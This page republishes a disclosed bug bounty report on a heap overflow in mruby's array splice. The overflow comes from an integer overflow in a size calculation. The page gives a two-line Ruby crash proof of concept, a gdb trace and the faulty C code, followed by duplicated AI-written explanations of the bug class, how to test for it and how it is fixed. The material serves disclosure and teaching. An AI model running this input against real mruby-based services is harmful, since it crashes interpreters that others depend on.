Skip to content
Memory corruption Disclosed report Advanced

Heap Overflow in mrb_arb_splice

A heap overflow occurs in mruby's array splice when a large index and zero length cause an integer overflow in size calculation, bypassing capacity expansion and crashing the interpreter.

tunz Follow

Originally disclosed on HackerOne

Bounty$800 Low View original
  • Triaged in 10 hours
  • Fixed in 22 days
  • Paid in 24 days
  • Disclosed after 24 days

It's similar with #192235, but the root cause is different.

both of mruby and mruby-engine are crashed by the following PoC. (MRB_INT64)

Ruby
ary = Array.new(1023)
ary[0x7ffffffffffffc00,0] = Array.new(1024)
$ gdb -q --args ./bin/mruby test2.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby test2.rb

Program received signal SIGSEGV, Segmentation fault.
0x00000000004147fe in ary_fill_with_nil (ptr=0xe5c010, size=9223372036854765337) at /home/tunz/working/mruby/mruby/src/array.c:104
104         *ptr++ = nil;
(gdb) list
99      ary_fill_with_nil(mrb_value *ptr, mrb_int size)
100     {
101       mrb_value nil = mrb_nil_value();
102
103       while (size--) {
104         *ptr++ = nil;
105       }
106     }
107
108     static void
(gdb) bt
#0  0x00000000004147fe in ary_fill_with_nil (ptr=0xe5c010, size=9223372036854765337) at /home/tunz/working/mruby/mruby/src/array.c:104
#1  0x0000000000415fd1 in mrb_ary_splice (mrb=0xdd7010, ary=..., head=9223372036854774784, len=-9223372036854773761, rpl=...)
    at /home/tunz/working/mruby/mruby/src/array.c:626
#2  0x00000000004165be in mrb_ary_aset (mrb=0xdd7010, self=...) at /home/tunz/working/mruby/mruby/src/array.c:808
#3  0x0000000000430c09 in mrb_vm_exec (mrb=0xdd7010, proc=0xdda210, pc=0xe3f03c) at /home/tunz/working/mruby/mruby/src/vm.c:1171
#4  0x000000000042f121 in mrb_vm_run (mrb=0xdd7010, proc=0xdda210, self=..., stack_keep=0)
    at /home/tunz/working/mruby/mruby/src/vm.c:772
#5  0x0000000000437199 in mrb_top_run (mrb=0xdd7010, proc=0xdda210, self=..., stack_keep=0)
    at /home/tunz/working/mruby/mruby/src/vm.c:2487
#6  0x0000000000447847 in mrb_load_exec (mrb=0xdd7010, p=0xe332d0, c=0xe31f40)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:5755
#7  0x00000000004478dd in mrb_load_file_cxt (mrb=0xdd7010, f=0xe32f10, c=0xe31f40)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:5764
#8  0x00000000004024fc in main (argc=2, argv=0x7ffff40a93e8)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232
(gdb) x/i $pc
=> 0x4147fe <ary_fill_with_nil+51>:     mov    QWORD PTR [rcx],rax
(gdb) i r rcx
rcx            0xe5c000 15056896

I think the following lines are the problem in src/array.c:

C
 581 MRB_API mrb_value
 582 mrb_ary_splice(mrb_state *mrb, mrb_value ary, mrb_int head, mrb_int len, mrb_value rpl)
 583 {
...
 619   size = head + argc; // size is calculated here, and can be overflow
 620
 621   if (tail < a->len) size += a->len - tail;
 622   if (size > a->aux.capa) // then, bypass this condition
 623     ary_expand_capa(mrb, a, size);
 624
 625   if (head > a->len) {
 626     ary_fill_with_nil(a->ptr + a->len, head - a->len); // heap overflow since capa is still small. 
 627   }
...

The original report as published on HackerOne, by tunz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

This is a memory corruption report against mruby, the embeddable Ruby implementation used by the Shopify Scripts program. The researcher, tunz, found that a short Ruby snippet crashes both mruby and mruby-engine when built with MRB_INT64. The report was rated low severity and paid a bounty of 800 USD; it was disclosed on 12 January 2017. The researcher notes it is similar to report #192235 but that the root cause here is different.

The proof of concept is a two-line script:

Ruby
ary = Array.new(1023)
ary[0x7ffffffffffffc00,0] = Array.new(1024)

The first line creates an array of 1023 elements. The second performs an indexed assignment with a huge start index (0x7ffffffffffffc00) and a length of zero, replacing that zero-length slice with a 1024-element array.

Running the script under gdb shows a SIGSEGV inside ary_fill_with_nil:

Text
$ gdb -q --args ./bin/mruby test2.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby test2.rb

Program received signal SIGSEGV, Segmentation fault.
0x00000000004147fe in ary_fill_with_nil (ptr=0xe5c010, size=9223372036854765337) at /home/tunz/working/mruby/mruby/src/array.c:104
104         *ptr++ = nil;

The faulting instruction is a store, and the register holding the destination address is shown in the debugger:

Text
(gdb) x/i $pc
=> 0x4147fe <ary_fill_with_nil+51>:     mov    QWORD PTR [rcx],rax
(gdb) i r rcx
rcx            0xe5c000 15056896

The backtrace shows the path from the VM down to the array code:

Text
#0  0x00000000004147fe in ary_fill_with_nil (ptr=0xe5c010, size=9223372036854765337) at /home/tunz/working/mruby/mruby/src/array.c:104
#1  0x0000000000415fd1 in mrb_ary_splice (mrb=0xdd7010, ary=..., head=9223372036854774784, len=-9223372036854773761, rpl=...)
    at /home/tunz/working/mruby/mruby/src/array.c:626
#2  0x00000000004165be in mrb_ary_aset (mrb=0xdd7010, self=...) at /home/tunz/working/mruby/mruby/src/array.c:808
#3  0x0000000000430c09 in mrb_vm_exec (mrb=0xdd7010, proc=0xdda210, pc=0xe3f03c) at /home/tunz/working/mruby/mruby/src/vm.c:1171

The report does not describe a fix or a maintainer response.

Root cause

The researcher points at mrb_ary_splice in src/array.c and quotes the relevant lines:

C
 581 MRB_API mrb_value
 582 mrb_ary_splice(mrb_state *mrb, mrb_value ary, mrb_int head, mrb_int len, mrb_value rpl)
 583 {
...
 619   size = head + argc; // size is calculated here, and can be overflow
 620
 621   if (tail < a->len) size += a->len - tail;
 622   if (size > a->aux.capa) // then, bypass this condition
 623     ary_expand_capa(mrb, a, size);
 624
 625   if (head > a->len) {
 626     ary_fill_with_nil(a->ptr + a->len, head - a->len); // heap overflow since capa is still small.
 627   }
...

The researcher points at the size calculation as the problem: size is computed as head + argc and can overflow. size is computed as head + argc; with a very large head the calculation can overflow, so the size > a->aux.capa check is bypassed. The code then fills the gap between the current length and head with nil values, writing far beyond the allocation. The size argument seen in the crash frame is 9223372036854765337.

Impact

What the report demonstrates is a heap overflow that crashes the interpreter, in both mruby and mruby-engine. The write is a run of nil values past the end of a heap buffer, and the report shows the interpreter crashing. The report itself only shows the crash; it does not include an exploitation attempt, so the practical impact beyond denial of service is not established here.

How this kind of bug works

Integer overflow bugs arise when arithmetic on a value derived from untrusted input exceeds the range of its type. In memory management code, a size or offset is computed, compared against a capacity, and then used to index or copy. If the computation wraps, the comparison can pass while the later use operates on the wrapped value, so the bounds check and the actual write disagree about how much space is needed.

Signed arithmetic makes this worse: a negative result can compare as smaller than any capacity, silently skipping the growth step, while the subsequent loop or copy still uses the original large count. The classic defences are checked arithmetic (detect overflow and raise an error), computing sizes in unsigned types with explicit range checks, validating indices against the array length before any arithmetic, and using safe allocation helpers that refuse sizes above a sane maximum.

How to test for it

Look for code paths where a user-controlled index, length or count is added, multiplied or subtracted before being compared to a buffer size. In interpreters and parsers this means array and string indexing, slice assignment, buffer resizing and length-prefixed parsing.

  1. Identify the boundary values of the integer type in use (for example the maximum and minimum signed 64-bit values) and values just below them.
  2. Send indices or lengths near those boundaries, including negative values, zero-length operations at huge offsets, and combinations where the sum of two fields wraps.
  3. Watch for crashes, sanitizer reports (ASan, UBSan) or corrupted output rather than clean errors.
  4. Confirm the mechanism by checking whether the capacity check was bypassed, for example by observing a write past the allocation in a debugger.

A positive result is a memory error triggered by arithmetic that should have been rejected. Common false positives are clean exceptions raised by range checks (which is correct behaviour), crashes caused by ordinary out-of-memory conditions, and inputs that only fail because the test harness limits resources.

How it is fixed

The standard fix is to validate the index and length before any arithmetic, reject values that cannot fit, and use overflow-checked addition when computing the new size. If the computed size is negative or exceeds a maximum, raise an exception instead of proceeding. The fill step should also be bounded by the actual capacity, so a mismatch between the requested size and the allocated buffer cannot lead to an out-of-bounds write.

Hunting notes

This class of bug tends to hide in language runtimes, template engines, parsers and any code that resizes buffers based on lengths taken from input. Recon signals include projects that expose array or string manipulation primitives to untrusted scripts, recent refactors of size calculations, and code that mixes signed and unsigned types. To make a report accepted, show a minimal reproducer, the crashing stack trace, and a clear explanation of which arithmetic wrapped and which check was bypassed; a debugger session showing the out-of-bounds address is strong evidence.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 8 min read.

What happened, in plain words

This report is about a bug in mruby, a small version of the Ruby programming language that other programs can embed inside themselves. The report says the bug crashes both mruby and a related component called mruby-engine.

The researcher, tunz, found that a very short Ruby script crashes both mruby and mruby-engine when the interpreter is built with a setting called MRB_INT64. The report was rated low severity and paid a bounty of 800 USD. It was disclosed on 12 January 2017. The researcher notes it is similar to an earlier report, #192235, but that the underlying cause here is different.

To understand the bug you need one idea: a program stores lists of things (arrays) in a block of memory, and it keeps track of how big that block is (its capacity). When you ask for more room than the block has, the program is supposed to enlarge the block first. This bug makes the program skip that enlargement and then write past the end of the block, into memory it does not own. That is called a heap overflow.

The proof of concept is two lines of Ruby:

Ruby
ary = Array.new(1023)
ary[0x7ffffffffffffc00,0] = Array.new(1024)

Line by line:

  1. ary = Array.new(1023) creates an array holding 1023 elements and stores it in the variable ary.
  2. ary[0x7ffffffffffffc00,0] = Array.new(1024) is an indexed assignment. The first number, 0x7ffffffffffffc00, is a huge start position written in hexadecimal (a way of writing numbers using digits 0 to 9 and letters a to f). The second number, 0, is the length of the slice being replaced, so the slice is empty. The right-hand side, Array.new(1024), is a new array of 1024 elements. In plain terms: "at a position enormously far past the end of the array, replace nothing with 1024 items." The position is enormously far past the end of the array.

Running the script under gdb, a debugger (a tool that lets you pause a program and inspect its state), shows the program dying with a SIGSEGV, which is the operating system's signal that a program touched memory it is not allowed to touch:

Text
$ gdb -q --args ./bin/mruby test2.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby test2.rb

Program received signal SIGSEGV, Segmentation fault.
0x00000000004147fe in ary_fill_with_nil (ptr=0xe5c010, size=9223372036854765337) at /home/tunz/working/mruby/mruby/src/array.c:104
104         *ptr++ = nil;

The crash happens inside a function called ary_fill_with_nil, whose job is to fill a stretch of the array with empty (nil) values. The size it was handed is 9223372036854765337.

The faulting instruction is a write to memory, and the debugger shows the destination register:

Text
(gdb) x/i $pc
=> 0x4147fe <ary_fill_with_nil+51>:     mov    QWORD PTR [rcx],rax
(gdb) i r rcx
rcx            0xe5c000 15056896

The program crashes on a store instruction inside ary_fill_with_nil. The backtrace (the list of function calls that led to the crash) shows the path from the script runner down into the array code:

Text
#0  0x00000000004147fe in ary_fill_with_nil (ptr=0xe5c010, size=9223372036854765337) at /home/tunz/working/mruby/mruby/src/array.c:104
#1  0x0000000000415fd1 in mrb_ary_splice (mrb=0xdd7010, ary=..., head=9223372036854774784, len=-9223372036854773761, rpl=...)
    at /home/tunz/working/mruby/mruby/src/array.c:626
#2  0x00000000004165be in mrb_ary_aset (mrb=0xdd7010, self=...) at /home/tunz/working/mruby/mruby/src/array.c:808
#3  0x0000000000430c09 in mrb_vm_exec (mrb=0xdd7010, proc=0xdda210, pc=0xe3f03c) at /home/tunz/working/mruby/mruby/src/vm.c:1171

The report does not describe a fix or a maintainer response.

Root cause

The researcher points at mrb_ary_splice in src/array.c and quotes the relevant lines:

C
 581 MRB_API mrb_value
 582 mrb_ary_splice(mrb_state *mrb, mrb_value ary, mrb_int head, mrb_int len, mrb_value rpl)
 583 {
...
 619   size = head + argc; // size is calculated here, and can be overflow
 620
 621   if (tail < a->len) size += a->len - tail;
 622   if (size > a->aux.capa) // then, bypass this condition
 623     ary_expand_capa(mrb, a, size);
 624
 625   if (head > a->len) {
 626     ary_fill_with_nil(a->ptr + a->len, head - a->len); // heap overflow since capa is still small.
 627   }
...

The researcher points at the size calculation as the problem: size is computed as head + argc and can overflow. Computers store whole numbers in fixed-size boxes, and each box has a maximum value. If you add past that maximum, the number wraps around to a small or negative value, like an old car odometer rolling over from 99999 to 00000. Here size is computed as head + argc; with a very large head this can overflow, so the size > a->aux.capa check is bypassed. The code then fills the gap between the current length and head with nil values, writing far beyond the allocation. The size seen in the crash frame is 9223372036854765337.

Impact

What the report demonstrates is a heap overflow that crashes the interpreter, in both mruby and mruby-engine. The write is a run of nil values past the end of a heap buffer, and the report shows the interpreter crashing. The report itself only shows the crash; it does not include an exploitation attempt, so the practical impact beyond denial of service is not established here.

In general, how this kind of bug works

Integer overflow bugs arise when arithmetic on a value derived from untrusted input exceeds the range of its type. In memory management code, a size or offset is computed, compared against a capacity, and then used to index or copy. If the computation wraps, the comparison can pass while the later use operates on the wrapped value, so the bounds check and the actual write disagree about how much space is needed.

Signed arithmetic makes this worse: a negative result can compare as smaller than any capacity, silently skipping the growth step, while the subsequent loop or copy still uses the original large count. The classic defences are checked arithmetic (detect overflow and raise an error), computing sizes in unsigned types with explicit range checks, validating indices against the array length before any arithmetic, and using safe allocation helpers that refuse sizes above a sane maximum.

How to test for it

Look for code paths where a user-controlled index, length or count is added, multiplied or subtracted before being compared to a buffer size. In interpreters and parsers this means array and string indexing, slice assignment, buffer resizing and length-prefixed parsing.

  1. Identify the boundary values of the integer type in use (for example the maximum and minimum signed 64-bit values) and values just below them.
  2. Send indices or lengths near those boundaries, including negative values, zero-length operations at huge offsets, and combinations where the sum of two fields wraps.
  3. Watch for crashes, sanitizer reports (ASan, UBSan) or corrupted output rather than clean errors.
  4. Confirm the mechanism by checking whether the capacity check was bypassed, for example by observing a write past the allocation in a debugger.

A positive result is a memory error triggered by arithmetic that should have been rejected. Common false positives are clean exceptions raised by range checks (which is correct behaviour), crashes caused by ordinary out-of-memory conditions, and inputs that only fail because the test harness limits resources.

How it is fixed

The standard fix is to validate the index and length before any arithmetic, reject values that cannot fit, and use overflow-checked addition when computing the new size. If the computed size is negative or exceeds a maximum, raise an exception instead of proceeding. The fill step should also be bounded by the actual capacity, so a mismatch between the requested size and the allocated buffer cannot lead to an out-of-bounds write.

Hunting notes

This class of bug tends to hide in language runtimes, template engines, parsers and any code that resizes buffers based on lengths taken from input. Recon signals include projects that expose array or string manipulation primitives to untrusted scripts, recent refactors of size calculations, and code that mixes signed and unsigned types. To make a report accepted, show a minimal reproducer, the crashing stack trace, and a clear explanation of which arithmetic wrapped and which check was bypassed; a debugger session showing the out-of-bounds address is strong evidence.

Glossary

  • mruby: a lightweight, embeddable implementation of the Ruby programming language, designed to be built into other applications.
  • mruby-engine: a component that runs mruby scripts, used alongside mruby in this context.
  • MRB_INT64: a build setting that makes mruby use 64-bit integers for its numbers.
  • Array: an ordered list of values held in memory.
  • Heap: the area of memory a program uses for data that is created while it runs, such as arrays.
  • Heap overflow: writing past the end of a block of heap memory, into memory the program does not own.
  • Capacity: the amount of space currently allocated for a buffer, as opposed to how much of it is in use.
  • Integer overflow: when arithmetic produces a result too large (or too small) for the number type to hold, so the value wraps around.
  • Signed integer: a whole number type that can hold both positive and negative values.
  • SIGSEGV: the signal the operating system sends to a program that accesses memory it is not permitted to access; usually fatal.
  • gdb: the GNU debugger, a tool for running a program step by step and inspecting its memory and registers.
  • Register: a small, fast storage location inside the processor.
  • Backtrace: the list of function calls currently active, from the innermost to the outermost.
  • Proof of concept (PoC): a minimal input or script that demonstrates a bug.
  • Sanitizer (ASan, UBSan): tools that instrument a program to detect memory errors or undefined behaviour at runtime.
  • Denial of service: making a service or program unavailable, for example by crashing it.
  • Bounty: a payment made to a researcher for reporting a valid security issue.

More by tunz

View all

6 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.